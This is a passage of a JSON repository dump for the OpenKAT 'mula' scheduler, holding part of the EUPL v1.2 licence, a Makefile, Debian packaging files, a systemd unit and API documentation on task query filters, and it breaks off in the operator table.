stating that the Work has been modified and the date of modification.\n\nCopyleft clause: If the Licensee distributes or communicates copies of the\nOriginal Works or Derivative Works, this Distribution or Communication will be\ndone under the terms of this Licence or of a later version of this Licence\nunless the Original Work is expressly distributed only under this version of the\nLicence — for example by communicating ‘EUPL v. 1.2 only’. The Licensee\n(becoming Licensor) cannot offer or impose any additional terms or conditions on\nthe Work or Derivative Work that alter or restrict the terms of the Licence.\n\nCompatibility clause: If the Licensee Distributes or Communicates Derivative\nWorks or copies thereof based upon both the Work and another work licensed under\na Compatible Licence, this Distribution or Communication can be done under the\nterms of this Compatible Licence. For the sake of this clause, ‘Compatible\nLicence’ refers to the licences listed in the appendix attached to this Licence.\nShould the Licensee's obligations under the Compatible Licence conflict with\nhis/her obligations under this Licence, the obligations of the Compatible\nLicence shall prevail.\n\nProvision of Source Code: When distributing or communicating copies of the Work,\nthe Licensee will provide a machine-readable copy of the Source Code or indicate\na repository where this Source will be easily and freely available for as long\nas the Licensee continues to distribute or communicate the Work.\n\nLegal Protection: This Licence does not grant permission to use the trade names,\ntrademarks, service marks, or names of the Licensor, except as required for\nreasonable and customary use in describing the origin of the Work and\nreproducing the content of the copyright notice.\n\n6. Chain of Authorship\n\nThe original Licensor warrants that the copyright in the Original Work granted\nhereunder is owned by him/her or licensed to him/her and that he/she has the\npower and authority to grant the Licence.\n\nEach Contributor warrants that the copyright in the modifications he/she brings\nto the Work are owned by him/her or licensed to him/her and that he/she has the\npower and authority to grant the Licence.\n\nEach time You accept the Licence, the original Licensor and subsequent\nContributors grant You a licence to their contributions to the Work, under the\nterms of this Licence.\n\n7. Disclaimer of Warranty\n\nThe Work is a work in progress, which is continuously improved by numerous\nContributors. It is not a finished work and may therefore contain defects or\n‘bugs’ inherent to this type of development.\n\nFor the above reason, the Work is provided under the Licence on an ‘as is’ basis\nand without warranties of any kind concerning the Work, including without\nlimitation merchantability, fitness for a particular purpose, absence of defects\nor errors, accuracy, non-infringement of intellectual property rights other than\ncopyright as stated in Article 6 of this Licence.\n\nThis disclaimer of warranty is an essential part of the Licence and a condition\nfor the grant of any rights to the Work.\n\n8. Disclaimer of Liability\n\nExcept in the cases of wilful misconduct or damages directly caused to natural\npersons, the Licensor will in no event be liable for any direct or indirect,\nmaterial or moral, damages of any kind, arising out of the Licence or of the use\nof the Work, including without limitation, damages for loss of goodwill, work\nstoppage, computer failure or malfunction, loss of data or any commercial\ndamage, even if the Licensor has been advised of the possibility of such damage.\nHowever, the Licensor will be liable under statutory product liability laws as\nfar such laws apply to the Work.\n\n9. Additional agreements\n\nWhile distributing the Work, You may choose to conclude an additional agreement,\ndefining obligations or services consistent with this Licence. However, if\naccepting obligations, You may act only on your own behalf and on your sole\nresponsibility, not on behalf of the original Licensor or any other Contributor,\nand only if You agree to indemnify, defend, and hold each Contributor harmless\nfor any liability incurred by, or claims asserted against such Contributor by\nthe fact You have accepted any warranty or additional liability.\n\n10. Acceptance of the Licence\n\nThe provisions of this Licence can be accepted by clicking on an icon ‘I agree’\nplaced under the bottom of a window displaying the text of this Licence or by\naffirming consent in any other similar way, in accordance with the rules of\napplicable law. Clicking on that icon indicates your clear and irrevocable\nacceptance of this Licence and all of its terms and conditions.\n\nSimilarly, you irrevocably accept this Licence and all of its terms and\nconditions by exercising any rights granted to You by Article 2 of this Licence,\nsuch as the use of the Work, the creation by You of a Derivative Work or the\nDistribution or Communication by You of the Work or copies thereof.\n\n11. Information to the public\n\nIn case of any Distribution or Communication of the Work by means of electronic\ncommunication by You (for example, by offering to download the Work from a\nremote location) the distribution channel or media (for example, a website) must\nat least provide to the public the information requested by the applicable law\nregarding the Licensor, the Licence and the way it may be accessible, concluded,\nstored and reproduced by the Licensee.\n\n12. Termination of the Licence\n\nThe Licence and the rights granted hereunder will terminate automatically upon\nany breach by the Licensee of the terms of the Licence.\n\nSuch a termination will not terminate the licences of any person who has\nreceived the Work from the Licensee under the Licence, provided such persons\nremain in full compliance with the Licence.\n\n13. Miscellaneous\n\nWithout prejudice of Article 9 above, the Licence represents the complete\nagreement between the Parties as to the Work.\n\nIf any provision of the Licence is invalid or unenforceable under applicable\nlaw, this will not affect the validity or enforceability of the Licence as a\nwhole. Such provision will be construed or reformed so as necessary to make it\nvalid and enforceable.\n\nThe European Commission may publish other linguistic versions or new versions of\nthis Licence or updated versions of the Appendix, so far this is required and\nreasonable, without reducing the scope of the rights granted by the Licence. New\nversions of the Licence will be published with a unique version number.\n\nAll linguistic versions of this Licence, approved by the European Commission,\nhave identical value. Parties can take advantage of the linguistic version of\ntheir choice.\n\n14. Jurisdiction\n\nWithout prejudice to specific agreement between parties,\n\n- any litigation resulting from the interpretation of this License, arising\n  between the European Union institutions, bodies, offices or agencies, as a\n  Licensor, and any Licensee, will be subject to the jurisdiction of the Court\n  of Justice of the European Union, as laid down in article 272 of the Treaty on\n  the Functioning of the European Union,\n\n- any litigation arising between other parties and resulting from the\n  interpretation of this License, will be subject to the exclusive jurisdiction\n  of the competent court where the Licensor resides or conducts its primary\n  business.\n\n15. Applicable Law\n\nWithout prejudice to specific agreement between parties,\n\n- this Licence shall be governed by the law of the European Union Member State\n  where the Licensor has his seat, resides or has his registered office,\n\n- this licence shall be governed by Belgian law if the Licensor has no seat,\n  residence or registered office inside a European Union Member State.\n\nAppendix\n\n‘Compatible Licences’ according to Article 5 EUPL are:\n\n- GNU General Public License (GPL) v. 2, v. 3\n- GNU Affero General Public License (AGPL) v. 3\n- Open Software License (OSL) v. 2.1, v. 3.0\n- Eclipse Public License (EPL) v. 1.0\n- CeCILL v. 2.0, v. 2.1\n- Mozilla Public Licence (MPL) v. 2\n- GNU Lesser General Public Licence (LGPL) v. 2.1, v. 3\n- Creative Commons Attribution-ShareAlike v. 3.0 Unported (CC BY-SA 3.0) for\n  works other than software\n- European Union Public Licence (EUPL) v. 1.1, v. 1.2\n- Québec Free and Open-Source Licence — Reciprocity (LiLiQ-R) or Strong\n  Reciprocity (LiLiQ-R+).\n\nThe European Commission may update this Appendix to later versions of the above\nlicences without producing a new version of the EUPL, as long as they provide\nthe rights granted in Article 2 of this Licence and protect the covered Source\nCode from exclusive appropriation.\n\nAll other changes or additions to this Appendix require the production of a new\nEUPL version.\n"
  },
  {
    "path": "mula/MANIFEST.in",
    "content": "include scheduler/storage/migrations/alembic.ini\n"
  },
  {
    "path": "mula/Makefile",
    "content": "SHELL := bash\n.ONESHELL:\n.SHELLFLAGS := -eu -o pipefail -c\n.DELETE_ON_ERROR:\nMAKEFLAGS += --warn-undefined-variables\nMAKEFLAGS += --no-builtin-rules\n# Makefile Reference: https://tech.davis-hansson.com/p/make/\n\n.PHONY: all help mypy check black done lint env debian ubuntu clean itest utest test migrations HIDE\n\n# use HIDE to run commands invisibly, unless VERBOSE defined\nHIDE:=$(if $(VERBOSE),,@)\n\n# Export cmd line args:\nexport VERBOSE\nexport m\nexport build\nexport file\n\n# Export Docker buildkit options\nexport DOCKER_BUILDKIT=1\nexport COMPOSE_DOCKER_CLI_BUILD=1\n\nci-docker-compose := docker compose --project-directory . -f .ci/docker-compose.yml\n\n##\n##+------------------------------------------------------------------------+\n##| Help                                                                   |\n##+------------------------------------------------------------------------+\nhelp: ## Show this help.\n\t@fgrep -h \"##\" $(MAKEFILE_LIST) | fgrep -v fgrep | sed -e 's/\\\\$$//' | sed -e 's/ ##/\t\t\t/' | sed -e 's/##//'\n\n##\n##+------------------------------------------------------------------------+\n##| Development                                                            |\n##+------------------------------------------------------------------------+\n\ncheck: ## Check the code style using black, mypy and pylint.\n\tmake black\n\tmake mypy\n\tmake pylint\n\nmypy: ## Check code style using mypy.\n\tdocker compose run --rm scheduler \\\n\t\tpython -m mypy --cache-dir /home/scheduler/.mypy_cache /app/scheduler/scheduler\n\nblack: ## Check code style with black.\n\tdocker compose run --rm scheduler \\\n\t\tblack --check --diff .\n\npylint: ## Rate the code with pylint.\n\t$(ci-docker-compose) run --rm ci_scheduler_unit \\\n\t\tpylint --rcfile pyproject.toml scheduler\n\nfmt: ## Format the code using black.\n\tdocker compose run --rm scheduler \\\n\t\tblack .\n\ndone: ## Prepare for a commit.\n\tmake lint\n\tmake check\n\tmake test\n\ncov: ## Generate a test coverage report\n\t$(ci-docker-compose) run --rm ci_scheduler_integration \\\n\t\tpython -m pytest \\\n\t\t--cov-report term-missing:skip-covered \\\n\t\t--cov=scheduler tests/\n\n##\n##+------------------------------------------------------------------------+\n##| Migrations                                                             |\n##+------------------------------------------------------------------------+\n\nsql: ## Generate raw sql for the migrations.\n\tdocker compose run --rm scheduler \\\n\t\talembic --config /app/scheduler/scheduler/storage/migrations/alembic.ini \\\n\t\tupgrade $(rev1):$(rev2) --sql\n\nmigrations: ## Create migration.\nifeq ($(m),)\n\t$(HIDE) (echo \"ERROR: Specify a message with m={message} and a rev-id with revid={revid} (e.g. 0001 etc.)\"; exit 1)\nelse ifeq ($(revid),)\n\t$(HIDE) (echo \"ERROR: Specify a message with m={message} and a rev-id with revid={revid} (e.g. 0001 etc.)\"; exit 1)\nelse\n\tdocker compose run --rm scheduler \\\n\t\talembic --config /app/scheduler/scheduler/storage/migrations/alembic.ini \\\n\t\trevision --autogenerate \\\n\t\t-m \"$(m)\" --rev-id \"$(revid)\"\nendif\n\nmigrate: ## Run migrations using alembic.\n\tdocker compose run scheduler \\\n\t\talembic --config /app/scheduler/scheduler/storage/migrations/alembic.ini \\\n\t\tupgrade head\n\n##\n##+------------------------------------------------------------------------+\n##| Testing                                                                |\n##+------------------------------------------------------------------------+\n\nutest: ## Run the unit tests.\nifneq ($(file),)\n\t$(ci-docker-compose) run --rm ci_scheduler_unit python -m pytest -v tests/unit/${file} $(if $(function),-k $(function))\nelse\n\t$(ci-docker-compose) run --rm ci_scheduler_unit python -m pytest -v tests/unit\nendif\n\t$(ci-docker-compose) down --remove-orphans\n\nitest: ## Run the integration tests.\nifneq ($(file),)\n\t$(ci-docker-compose) run --rm ci_scheduler_integration python -m pytest -v tests/integration/${file} $(if $(function),-k $(function))\nelse\n\t$(ci-docker-compose) run --rm ci_scheduler_integration python -m pytest -v tests/integration\nendif\n\t$(ci-docker-compose) down --remove-orphans\n\ntest: ## Run all tests.\n\tmake utest\n\tmake itest\n\n##\n##+------------------------------------------------------------------------+\n##| Building                                                               |\n##+------------------------------------------------------------------------+\ndebian12:\n\tmkdir -p build\n\tdocker run --rm \\\n\t--env PKG_NAME=kat-mula \\\n\t--env BUILD_DIR=./build \\\n\t--env REPOSITORY=minvws/nl-kat-mula \\\n\t--env RELEASE_VERSION=${RELEASE_VERSION} \\\n\t--env RELEASE_TAG=${RELEASE_TAG} \\\n\t--mount type=bind,src=${CURDIR},dst=/app \\\n\t--workdir /app \\\n\tkat-debian12-build-image \\\n\tpackaging/scripts/build-debian-package.sh\n\nubuntu22.04:\n\tmkdir -p build\n\tdocker run --rm \\\n\t--env PKG_NAME=kat-mula \\\n\t--env BUILD_DIR=./build \\\n\t--env REPOSITORY=minvws/nl-kat-mula \\\n\t--env RELEASE_VERSION=${RELEASE_VERSION} \\\n\t--env RELEASE_TAG=${RELEASE_TAG} \\\n\t--mount type=bind,src=${CURDIR},dst=/app \\\n\t--workdir /app \\\n\tkat-ubuntu-build-image \\\n\tpackaging/scripts/build-debian-package.sh\n\nclean: ## clean\n\trm -rf build\n\trm -rf debian/kat-*/ debian/.debhelper debian/files *.egg-info/ dist/\n\trm -f debian/debhelper-build-stamp\n\trm -f debian/*.*.debhelper\n\trm -f debian/*.substvars\n\trm -f debian/*.debhelper.log\n\trm -f debian/changelog\n"
  },
  {
    "path": "mula/debian/control",
    "content": "Source: kat-mula\nBuild-Depends: python3, dh-virtualenv, python3-setuptools, python3-pip, python3-dev, debhelper-compat (= 12)\nMaintainer: OpenKAT <maintainer@openkat.nl>\n\nPackage: kat-mula\nSection: python\nPriority: optional\nArchitecture: any\nPre-Depends: ${misc:Pre-Depends}\nDepends: ${python}, ${misc:Depends}\nDescription: mula\n    Scheduler for KAT\n"
  },
  {
    "path": "mula/debian/copyright",
    "content": "Format: https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/\nUpstream-Name: kat-octopoes\nUpstream-Contact: info@openkat.nl\nSource: __URL__\n\nFiles: *\nCopyright: 2022 OpenKAT\nLicense: EUPL\n\nLicense: EUPL\n                        EUROPEAN UNION PUBLIC LICENCE v. 1.2\n                        EUPL © the European Union 2007, 2016\n\n  This European Union Public Licence (the ‘EUPL’) applies to the Work (as defined\n  below) which is provided under the terms of this Licence. Any use of the Work,\n  other than as authorised under this Licence is prohibited (to the extent such\n  use is covered by a right of the copyright holder of the Work).\n\n  The Work is provided under the terms of this Licence when the Licensor (as\n  defined below) has placed the following notice immediately following the\n  copyright notice for the Work:\n\n          Licensed under the EUPL\n\n  or has expressed by any other means his willingness to license under the EUPL.\n\n  1. Definitions\n\n  In this Licence, the following terms have the following meaning:\n\n  - ‘The Licence’: this Licence.\n\n  - ‘The Original Work’: the work or software distributed or communicated by the\n    Licensor under this Licence, available as Source Code and also as Executable\n    Code as the case may be.\n\n  - ‘Derivative Works’: the works or software that could be created by the\n    Licensee, based upon the Original Work or modifications thereof. This Licence\n    does not define the extent of modification or dependence on the Original Work\n    required in order to classify a work as a Derivative Work; this extent is\n    determined by copyright law applicable in the country mentioned in Article 15.\n\n  - ‘The Work’: the Original Work or its Derivative Works.\n\n  - ‘The Source Code’: the human-readable form of the Work which is the most\n    convenient for people to study and modify.\n\n  - ‘The Executable Code’: any code which has generally been compiled and which is\n    meant to be interpreted by a computer as a program.\n\n  - ‘The Licensor’: the natural or legal person that distributes or communicates\n    the Work under the Licence.\n\n  - ‘Contributor(s)’: any natural or legal person who modifies the Work under the\n    Licence, or otherwise contributes to the creation of a Derivative Work.\n\n  - ‘The Licensee’ or ‘You’: any natural or legal person who makes any usage of\n    the Work under the terms of the Licence.\n\n  - ‘Distribution’ or ‘Communication’: any act of selling, giving, lending,\n    renting, distributing, communicating, transmitting, or otherwise making\n    available, online or offline, copies of the Work or providing access to its\n    essential functionalities at the disposal of any other natural or legal\n    person.\n\n  2. Scope of the rights granted by the Licence\n\n  The Licensor hereby grants You a worldwide, royalty-free, non-exclusive,\n  sublicensable licence to do the following, for the duration of copyright vested\n  in the Original Work:\n\n  - use the Work in any circumstance and for all usage,\n  - reproduce the Work,\n  - modify the Work, and make Derivative Works based upon the Work,\n  - communicate to the public, including the right to make available or display\n    the Work or copies thereof to the public and perform publicly, as the case may\n    be, the Work,\n  - distribute the Work or copies thereof,\n  - lend and rent the Work or copies thereof,\n  - sublicense rights in the Work or copies thereof.\n\n  Those rights can be exercised on any media, supports and formats, whether now\n  known or later invented, as far as the applicable law permits so.\n\n  In the countries where moral rights apply, the Licensor waives his right to\n  exercise his moral right to the extent allowed by law in order to make effective\n  the licence of the economic rights here above listed.\n\n  The Licensor grants to the Licensee royalty-free, non-exclusive usage rights to\n  any patents held by the Licensor, to the extent necessary to make use of the\n  rights granted on the Work under this Licence.\n\n  3. Communication of the Source Code\n\n  The Licensor may provide the Work either in its Source Code form, or as\n  Executable Code. If the Work is provided as Executable Code, the Licensor\n  provides in addition a machine-readable copy of the Source Code of the Work\n  along with each copy of the Work that the Licensor distributes or indicates, in\n  a notice following the copyright notice attached to the Work, a repository where\n  the Source Code is easily and freely accessible for as long as the Licensor\n  continues to distribute or communicate the Work.\n\n  4. Limitations on copyright\n\n  Nothing in this Licence is intended to deprive the Licensee of the benefits from\n  any exception or limitation to the exclusive rights of the rights owners in the\n  Work, of the exhaustion of those rights or of other applicable limitations\n  thereto.\n\n  5. Obligations of the Licensee\n\n  The grant of the rights mentioned above is subject to some restrictions and\n  obligations imposed on the Licensee. Those obligations are the following:\n\n  Attribution right: The Licensee shall keep intact all copyright, patent or\n  trademarks notices and all notices that refer to the Licence and to the\n  disclaimer of warranties. The Licensee must include a copy of such notices and a\n  copy of the Licence with every copy of the Work he/she distributes or\n  communicates. The Licensee must cause any Derivative Work to carry prominent\n  notices stating that the Work has been modified and the date of modification.\n\n  Copyleft clause: If the Licensee distributes or communicates copies of the\n  Original Works or Derivative Works, this Distribution or Communication will be\n  done under the terms of this Licence or of a later version of this Licence\n  unless the Original Work is expressly distributed only under this version of the\n  Licence — for example by communicating ‘EUPL v. 1.2 only’. The Licensee\n  (becoming Licensor) cannot offer or impose any additional terms or conditions on\n  the Work or Derivative Work that alter or restrict the terms of the Licence.\n\n  Compatibility clause: If the Licensee Distributes or Communicates Derivative\n  Works or copies thereof based upon both the Work and another work licensed under\n  a Compatible Licence, this Distribution or Communication can be done under the\n  terms of this Compatible Licence. For the sake of this clause, ‘Compatible\n  Licence’ refers to the licences listed in the appendix attached to this Licence.\n  Should the Licensee's obligations under the Compatible Licence conflict with\n  his/her obligations under this Licence, the obligations of the Compatible\n  Licence shall prevail.\n\n  Provision of Source Code: When distributing or communicating copies of the Work,\n  the Licensee will provide a machine-readable copy of the Source Code or indicate\n  a repository where this Source will be easily and freely available for as long\n  as the Licensee continues to distribute or communicate the Work.\n\n  Legal Protection: This Licence does not grant permission to use the trade names,\n  trademarks, service marks, or names of the Licensor, except as required for\n  reasonable and customary use in describing the origin of the Work and\n  reproducing the content of the copyright notice.\n\n  6. Chain of Authorship\n\n  The original Licensor warrants that the copyright in the Original Work granted\n  hereunder is owned by him/her or licensed to him/her and that he/she has the\n  power and authority to grant the Licence.\n\n  Each Contributor warrants that the copyright in the modifications he/she brings\n  to the Work are owned by him/her or licensed to him/her and that he/she has the\n  power and authority to grant the Licence.\n\n  Each time You accept the Licence, the original Licensor and subsequent\n  Contributors grant You a licence to their contributions to the Work, under the\n  terms of this Licence.\n\n  7. Disclaimer of Warranty\n\n  The Work is a work in progress, which is continuously improved by numerous\n  Contributors. It is not a finished work and may therefore contain defects or\n  ‘bugs’ inherent to this type of development.\n\n  For the above reason, the Work is provided under the Licence on an ‘as is’ basis\n  and without warranties of any kind concerning the Work, including without\n  limitation merchantability, fitness for a particular purpose, absence of defects\n  or errors, accuracy, non-infringement of intellectual property rights other than\n  copyright as stated in Article 6 of this Licence.\n\n  This disclaimer of warranty is an essential part of the Licence and a condition\n  for the grant of any rights to the Work.\n\n  8. Disclaimer of Liability\n\n  Except in the cases of wilful misconduct or damages directly caused to natural\n  persons, the Licensor will in no event be liable for any direct or indirect,\n  material or moral, damages of any kind, arising out of the Licence or of the use\n  of the Work, including without limitation, damages for loss of goodwill, work\n  stoppage, computer failure or malfunction, loss of data or any commercial\n  damage, even if the Licensor has been advised of the possibility of such damage.\n  However, the Licensor will be liable under statutory product liability laws as\n  far such laws apply to the Work.\n\n  9. Additional agreements\n\n  While distributing the Work, You may choose to conclude an additional agreement,\n  defining obligations or services consistent with this Licence. However, if\n  accepting obligations, You may act only on your own behalf and on your sole\n  responsibility, not on behalf of the original Licensor or any other Contributor,\n  and only if You agree to indemnify, defend, and hold each Contributor harmless\n  for any liability incurred by, or claims asserted against such Contributor by\n  the fact You have accepted any warranty or additional liability.\n\n  10. Acceptance of the Licence\n\n  The provisions of this Licence can be accepted by clicking on an icon ‘I agree’\n  placed under the bottom of a window displaying the text of this Licence or by\n  affirming consent in any other similar way, in accordance with the rules of\n  applicable law. Clicking on that icon indicates your clear and irrevocable\n  acceptance of this Licence and all of its terms and conditions.\n\n  Similarly, you irrevocably accept this Licence and all of its terms and\n  conditions by exercising any rights granted to You by Article 2 of this Licence,\n  such as the use of the Work, the creation by You of a Derivative Work or the\n  Distribution or Communication by You of the Work or copies thereof.\n\n  11. Information to the public\n\n  In case of any Distribution or Communication of the Work by means of electronic\n  communication by You (for example, by offering to download the Work from a\n  remote location) the distribution channel or media (for example, a website) must\n  at least provide to the public the information requested by the applicable law\n  regarding the Licensor, the Licence and the way it may be accessible, concluded,\n  stored and reproduced by the Licensee.\n\n  12. Termination of the Licence\n\n  The Licence and the rights granted hereunder will terminate automatically upon\n  any breach by the Licensee of the terms of the Licence.\n\n  Such a termination will not terminate the licences of any person who has\n  received the Work from the Licensee under the Licence, provided such persons\n  remain in full compliance with the Licence.\n\n  13. Miscellaneous\n\n  Without prejudice of Article 9 above, the Licence represents the complete\n  agreement between the Parties as to the Work.\n\n  If any provision of the Licence is invalid or unenforceable under applicable\n  law, this will not affect the validity or enforceability of the Licence as a\n  whole. Such provision will be construed or reformed so as necessary to make it\n  valid and enforceable.\n\n  The European Commission may publish other linguistic versions or new versions of\n  this Licence or updated versions of the Appendix, so far this is required and\n  reasonable, without reducing the scope of the rights granted by the Licence. New\n  versions of the Licence will be published with a unique version number.\n\n  All linguistic versions of this Licence, approved by the European Commission,\n  have identical value. Parties can take advantage of the linguistic version of\n  their choice.\n\n  14. Jurisdiction\n\n  Without prejudice to specific agreement between parties,\n\n  - any litigation resulting from the interpretation of this License, arising\n    between the European Union institutions, bodies, offices or agencies, as a\n    Licensor, and any Licensee, will be subject to the jurisdiction of the Court\n    of Justice of the European Union, as laid down in article 272 of the Treaty on\n    the Functioning of the European Union,\n\n  - any litigation arising between other parties and resulting from the\n    interpretation of this License, will be subject to the exclusive jurisdiction\n    of the competent court where the Licensor resides or conducts its primary\n    business.\n\n  15. Applicable Law\n\n  Without prejudice to specific agreement between parties,\n\n  - this Licence shall be governed by the law of the European Union Member State\n    where the Licensor has his seat, resides or has his registered office,\n\n  - this licence shall be governed by Belgian law if the Licensor has no seat,\n    residence or registered office inside a European Union Member State.\n\n  Appendix\n\n  ‘Compatible Licences’ according to Article 5 EUPL are:\n\n  - GNU General Public License (GPL) v. 2, v. 3\n  - GNU Affero General Public License (AGPL) v. 3\n  - Open Software License (OSL) v. 2.1, v. 3.0\n  - Eclipse Public License (EPL) v. 1.0\n  - CeCILL v. 2.0, v. 2.1\n  - Mozilla Public Licence (MPL) v. 2\n  - GNU Lesser General Public Licence (LGPL) v. 2.1, v. 3\n  - Creative Commons Attribution-ShareAlike v. 3.0 Unported (CC BY-SA 3.0) for\n    works other than software\n  - European Union Public Licence (EUPL) v. 1.1, v. 1.2\n  - Québec Free and Open-Source Licence — Reciprocity (LiLiQ-R) or Strong\n    Reciprocity (LiLiQ-R+).\n\n  The European Commission may update this Appendix to later versions of the above\n  licences without producing a new version of the EUPL, as long as they provide\n  the rights granted in Article 2 of this Licence and protect the covered Source\n  Code from exclusive appropriation.\n\n  All other changes or additions to this Appendix require the production of a new\n  EUPL version.\n"
  },
  {
    "path": "mula/debian/install",
    "content": "packaging/deb/data/etc/kat/* etc/kat\npackaging/deb/data/usr/* usr\n"
  },
  {
    "path": "mula/debian/kat-mula.service",
    "content": "[Unit]\nDescription=kat-mula daemon\nAfter=network.target\n\n[Service]\nUser=kat\nGroup=kat\nSyslogIdentifier=kat-mula\nWorkingDirectory=/opt/venvs/kat-mula/\nEnvironmentFile=/usr/lib/kat/mula.defaults\nEnvironmentFile=/etc/kat/mula.conf\nExecStart=/opt/venvs/kat-mula/bin/python -m scheduler\nRestart=on-failure\nRestartSec=3s\nKillMode=mixed\n\n[Install]\nWantedBy=multi-user.target\n"
  },
  {
    "path": "mula/debian/kat-mula.sysusers",
    "content": "u kat - \"OpenKAT\" /nonexistent\n"
  },
  {
    "path": "mula/debian/postinst",
    "content": "#!/bin/sh\nset -e\n\n#DEBHELPER#\n\nchown -R root:kat /etc/kat\n"
  },
  {
    "path": "mula/debian/rules",
    "content": "#!/usr/bin/make -f\nexport DH_VERBOSE = 1\nexport DH_VIRTUALENV_INSTALL_ROOT = /opt/venvs\nexport PACKAGE=$(shell dh_listpackages)\nexport DH_VENV_DIR=debian/$(PACKAGE)$(DH_VIRTUALENV_INSTALL_ROOT)/$(PACKAGE)\nexport DESTDIR = $(CURDIR)/debian/$(PACKAGE)\nexport UV_LINK_MODE=copy\n\n%:\n\tdh $@ --with python-virtualenv\n\n.PHONY: override_dh_virtualenv override_dh_fixperms\n\noverride_dh_fixperms:\n\tdh_fixperms\n\tchmod 750 $(DESTDIR)/etc/kat/\n\tfind $(DESTDIR)/etc/kat -type f -exec chmod 640 {} \\;\n\tchmod 755 $(DESTDIR)/usr/bin/update-mula-db\n\noverride_dh_virtualenv:\n# We want to use uv but dh_virtualenv doesn't support that. So we create an\n# empty requirements file and call uv manually..\n\ttouch /tmp/requirements-empty.txt\n\tdh_virtualenv --requirements=/tmp/requirements-empty.txt --skip-install --preinstall \"uv\"\n\t$(DH_VENV_DIR)/bin/python -m uv sync --locked --active\n\t$(DH_VENV_DIR)/bin/python -m uv pip install .\n\n# remove pip and uv to prevent mutation of venv\n\t$(DH_VENV_DIR)/bin/python -m uv pip uninstall pip uv\n\n# Fix shebang\n\tsed -i 's|#!.*$(DH_VIRTUALENV_INSTALL_ROOT)/$(PACKAGE)/bin/python|#!$(DH_VIRTUALENV_INSTALL_ROOT)/$(PACKAGE)/bin/python|' $(DH_VENV_DIR)/bin/*\n\noverride_dh_gencontrol:\n\tdh_gencontrol -- -Vpython=`py3versions -d`\n\nexecute_after_dh_install:\n\tdh_installsysusers\n\n# Disables dh_strip_nondeterminism because it very slow and not useful for us\noverride_dh_strip_nondeterminism:\n\n# Disable dh_dwz because it is also not useful for us\noverride_dh_dwz:\n\n# Let dpkg-shlibdeps ignore venvs\noverride_dh_shlibdeps:\n\tdh_shlibdeps -X/opt/venvs\n"
  },
  {
    "path": "mula/debian/triggers",
    "content": "# Register interest in Python interpreter changes; and\n# don't make the Python package dependent on the virtualenv package\n# processing (noawait)\ninterest-noawait /usr/bin/python3\n\n# Also provide a symbolic trigger for all dh-virtualenv packages\ninterest dh-virtualenv-interpreter-update\n"
  },
  {
    "path": "mula/docs/api.md",
    "content": "# API\n\nThe browsable api docs can be view at: [http://localhost:8004/docs](http://localhost:8004/docs).\nA formal description of the spec can be referenced here: [open api spec](openapi.json)\n\n## Filtering\n\nThe endpoints `/tasks` and `/queues/{queue_id}/pop` support additional payload\nfilters. An example:\n\n```json\n// POST /tasks\n\n{\n  \"filters\": [\n    {\n      \"column\": \"status\",\n      \"operator\": \"eq\",\n      \"value\": \"completed\"\n    }\n  ]\n}\n```\n\n`column` specifies the column/field of the model to filter on.\n\n`operator` specifies the type of operation to apply.\n\n`value` specifies the value to filter on.\n\n### Chaining\n\nFilters can be chained using the `and`, `or` and `not`, and defaults to `and`:\n\n```json\n// POST /tasks\n\n{\n  \"filters\": [\n    {\n      \"column\": \"type\",\n      \"operator\": \"eq\",\n      \"value\": \"boefje\"\n    },\n    {\n      \"column\": \"status\",\n      \"operator\": \"eq\",\n      \"value\": \"completed\"\n    }\n  ]\n}\n```\n\nIs the same as:\n\n```json\n// POST /tasks\n\n{\n  \"filters\": {\n    \"and\": [\n      {\n        \"column\": \"type\",\n        \"operator\": \"eq\",\n        \"value\": \"boefje\"\n      },\n      {\n        \"column\": \"status\",\n        \"operator\": \"eq\",\n        \"value\": \"completed\"\n      }\n    ]\n  }\n}\n```\n\nExample using the `or` operator:\n\n```json\n// POST /tasks\n\n{\n  \"filters\": {\n    \"or\": [\n      {\n        \"column\": \"status\",\n        \"operator\": \"eq\",\n        \"value\": \"completed\"\n      },\n      {\n        \"column\": \"status\",\n        \"operator\": \"eq\",\n        \"value\": \"failed\"\n      }\n    ]\n  }\n}\n```\n\nExample using the `not` operator:\n\n```json\n// POST /tasks\n\n{\n  \"filters\": {\n    \"not\": [\n      {\n        \"column\": \"status\",\n        \"operator\": \"eq\",\n        \"value\": \"completed\"\n      }\n    ]\n  }\n}\n```\n\n### Nested fields\n\nQuerying on nested field is also possible. Note that both the `Task`, and\n`PrioritizedItem` models both use a `JSONB` column. To query nested field in\nthese `JSONB` columns you can use the `__` (double under, dunder) separators,\nto specify what nested field to filter on.\n\nExample:\n\n```json\n// POST /tasks\n\n{\n  \"filters\": [\n    {\n      \"column\": \"scheduler_id\",\n      \"operator\": \"eq\",\n      \"value\": \"boefje\"\n    },\n    {\n      \"column\": \"data\",\n      \"field\": \"input_ooi\",\n      \"operator\": \"like\",\n      \"value\": \"%internet%\"\n    },\n    {\n      \"column\": \"data\",\n      \"field\": \"boefje__id\", // note the double underscore\n      \"operator\": \"eq\",\n      \"value\": \"dns-zone\"\n    }\n  ]\n}\n```\n\nWhen using the specialized `@>` and `<@` operators, make sure the value is\na JSON formatted string, for example:\n\n```json\n// POST /tasks\n\n{\n  \"filters\": [\n    {\n      \"column\": \"scheduler_id\",\n      \"operator\": \"eq\",\n      \"value\": \"boefje\"\n    },\n    {\n      \"column\": \"data\",\n      \"operator\": \"@>\",\n      \"value\": \"{\\\"boefje\\\": {\\\"id\\\": \\\"dns-zone\\\"}}\"\n    }\n  ]\n}\n```\n\n## Operators\n\nHere's a list of the operators that you can use in the filters:\n\n| Operator      | Description                                                                                           |\n| ------------- | ----------------------------------------------------------------------------------------------------- |\n| `==`, `eq`    |                                                                                                       |\n| `!=`, `ne`    |                                                                                                       |\n| `is`          |                                                                                                       |\n| `is_not`      |                                                                                                       |\n| `is_null`     |                                                                                                       |\n| `is_not_null` |                                                                                                       |\n| `>`, `gt`     |                                                                                                       |\n| `<`, `lt`     |                                                                                                       |\n| `>=`, `gte`   |                                                                                                       |\n| `<=`, `lte`   |                                                                                                       |\n| `like`        | pattern matching                                                                                      |\n| `not_like`    | pattern matching                                                                                      |\n| `ilike`       | case-insensitive pattern matching                                                                     |\n| `not_ilike`   | case-insensitive pattern matching                                                                     |\n| `in`          | matching against a list of values                                                                     |\n| `not_in`      | matching against a list of values                                                                     |\n| `contains`    | substring matching                                                                                    |\n| `any`         |                                                                                                       |\n| `match`       |                                                                                                       |\n| `starts_with` |                                                                                                       |\n| `@>`          | Contains, used to check if one JSON or array value contains another JSON or array value               |\n| `<@`          | Is contained by, it checks if one JSON or array value is contained by another JSON or array value     |\n| `@?`          | Exists, used to check if a key exists in a JSON object                                                |\n| `@@`          | 